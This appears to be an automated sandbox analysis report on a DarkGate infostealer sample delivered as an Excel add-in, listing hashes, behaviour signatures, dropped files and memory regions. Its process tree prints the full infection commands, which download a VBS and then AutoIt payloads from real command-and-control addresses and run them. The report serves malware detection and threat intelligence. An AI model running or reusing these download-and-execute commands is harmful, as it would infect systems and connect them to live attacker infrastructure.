Analysis

  • max time kernel
    141s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230915-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230915-enlocale:en-usos:windows10-2004-x64system
  • submitted
    21-09-2023 17:14

General

  • Target

    Hpv.xll

  • Size

    50KB

  • MD5

    d1a45948f411c02136ca98410475de52

  • SHA1

    86ce40651326b8a67730da4e429d1bc202d46226

  • SHA256

    392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

  • SHA512

    22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

  • SSDEEP

    1536:oUK23Jsm6Nh5wF3s8KjrtN/5TqRGiNwmU2x0X2Y:ICsNh5wF3s8KXHRTviNnAmY

Score
10/10

Malware Config

Extracted

Family

darkgate

C2

http://94.228.169.143

Signatures

  • DarkGate

    DarkGate is an infostealer written in C++.

  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 5 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies registry class 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 10 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Hpv.xll"
    1⤵
    • Loads dropped DLL
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:704
    • C:\Users\Public\me.exe
      C:\Users\Public\me.exe about:"<script>var b = new ActiveXObject("wscript.shell"); b.run('cmd /c C:\\Windows\\system32\\curl.exe -o c:\\users\\public\\1.vbs http://5.42.77.33/QvCY2SE/123&&timeout 10&&c:\\users\\public\\1.vbs', 0); window.close();</script>"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1104
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /c C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://5.42.77.33/QvCY2SE/123&&timeout 10&&c:\users\public\1.vbs
        3⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:4700
        • C:\Windows\system32\curl.exe
          C:\Windows\system32\curl.exe -o c:\users\public\1.vbs http://5.42.77.33/QvCY2SE/123
          4⤵
            PID:1084
          • C:\Windows\system32\timeout.exe
            timeout 10
            4⤵
            • Delays execution with timeout.exe
            PID:1248
          • C:\Windows\System32\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\users\public\1.vbs"
            4⤵
            • Blocklisted process makes network request
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:1440
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c mkdir c:\bpzs & cd /d c:\bpzs & copy c:\windows\system32\curl.exe bpzs.exe & bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351 & bpzs -o vseukw.au3 http://94.228.169.143:2351/msibpzszuqi & Autoit3.exe vseukw.au3
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:3096
              • \??\c:\bpzs\bpzs.exe
                bpzs -H "User-Agent: curl" -o Autoit3.exe http://94.228.169.143:2351
                6⤵
                • Executes dropped EXE
                PID:4384
              • \??\c:\bpzs\bpzs.exe
                bpzs -o vseukw.au3 http://94.228.169.143:2351/msibpzszuqi
                6⤵
                • Executes dropped EXE
                PID:2888
              • \??\c:\bpzs\Autoit3.exe
                Autoit3.exe vseukw.au3
                6⤵
                • Executes dropped EXE
                • Checks processor information in registry
                PID:1744

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Hpv.xll

      Filesize

      50KB

      MD5

      d1a45948f411c02136ca98410475de52

      SHA1

      86ce40651326b8a67730da4e429d1bc202d46226

      SHA256

      392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

      SHA512

      22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

    • C:\Users\Admin\AppData\Local\Temp\Hpv.xll

      Filesize

      50KB

      MD5

      d1a45948f411c02136ca98410475de52

      SHA1

      86ce40651326b8a67730da4e429d1bc202d46226

      SHA256

      392fd4d218a8e333bc422635e48fdfae59054413c7a6be764c0275752d45ab23

      SHA512

      22f9f8691231d9880dbbef40e971f098e4970d246b66baafc0d3b4d65c2e20abf89e5668015311500b2ccddecfc4c1a664d6c322c71bce68fe28c08bb62090b0

    • C:\Users\Public\me.exe

      Filesize

      14KB

      MD5

      0b4340ed812dc82ce636c00fa5c9bef2

      SHA1

      51c97ebe601ef079b16bcd87af827b0be5283d96

      SHA256

      dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

      SHA512

      d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

    • C:\Users\Public\me.exe

      Filesize

      14KB

      MD5

      0b4340ed812dc82ce636c00fa5c9bef2

      SHA1

      51c97ebe601ef079b16bcd87af827b0be5283d96

      SHA256

      dba3137811c686fd35e418d76184070e031f207002649da95385dfd05a8bb895

      SHA512

      d9df8c1f093ea0f7bde9c356349b2ba43e3ca04b4c87c0f33ab89dda5afe9966313a09b60720aa22a1a25d43d7c71a060af93fb8f6488201a0e301c83fa18045

    • C:\bpzs\Autoit3.exe

      Filesize

      872KB

      MD5

      c56b5f0201a3b3de53e561fe76912bfd

      SHA1

      2a4062e10a5de813f5688221dbeb3f3ff33eb417

      SHA256

      237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d

      SHA512

      195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c

    • C:\bpzs\bpzs.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\bpzs\bpzs.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • C:\users\public\1.vbs

      Filesize

      8KB

      MD5

      32fa7538ba1ad12bf75dee2ad5664b78

      SHA1

      bcc6d2b34f4d078dafc69f60a55440930f2a6ef9

      SHA256

      c8b878419fd6822551fbfec3a0fb5a56985410b1b92f975c2d792dd62ceaf044

      SHA512

      4ebdbf23321bc1bd02244d58ad6664021691608e06ddb800f9966a9cd36c9b7e4d2ed5c48a6dc003845963523ae8ed19d8b5d4e6b3c27049972cf4743ad68206

    • \??\c:\bpzs\bpzs.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b

    • \??\c:\bpzs\vseukw.au3

      Filesize

      908KB

      MD5

      0ea7d1a7ad1b24835ca0b2fc6c51c15a

      SHA1

      c470650db0b249737b5cf84854292ba0b7ec68f7

      SHA256

      f9e6958800b576b94c26fd16691ca8e1ca7bda7a0abf0a8657d7cb0eb9a696de

      SHA512

      1f3d5738e84a955a053db7ac2c78e4a08154c0022f7d5e130bdce5c41cef25692d2e15a0fe80e641e4ded1308ede5673d1fb7635f5fc7bebe887a239201d4a7b

    • memory/704-7-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

      Filesize

      64KB

    • memory/704-27-0x00007FF97F970000-0x00007FF97F985000-memory.dmp

      Filesize

      84KB

    • memory/704-12-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-14-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-13-0x00007FF947680000-0x00007FF947690000-memory.dmp

      Filesize

      64KB

    • memory/704-15-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-16-0x00007FF947680000-0x00007FF947690000-memory.dmp

      Filesize

      64KB

    • memory/704-10-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-9-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

      Filesize

      64KB

    • memory/704-1-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-8-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-11-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-28-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-6-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-5-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-3-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

      Filesize

      64KB

    • memory/704-4-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

      Filesize

      64KB

    • memory/704-2-0x00007FF989870000-0x00007FF989A65000-memory.dmp

      Filesize

      2.0MB

    • memory/704-0-0x00007FF9498F0000-0x00007FF949900000-memory.dmp

      Filesize

      64KB

    • memory/1744-46-0x0000000001460000-0x0000000001860000-memory.dmp

      Filesize

      4.0MB

    • memory/1744-47-0x00000000041E0000-0x00000000042D5000-memory.dmp

      Filesize

      980KB

    • memory/1744-48-0x0000000004AE0000-0x0000000004EA3000-memory.dmp

      Filesize

      3.8MB

    • memory/1744-49-0x00000000041E0000-0x00000000042D5000-memory.dmp

      Filesize

      980KB

    • memory/1744-50-0x0000000004AE0000-0x0000000004EA3000-memory.dmp

      Filesize

      3.8MB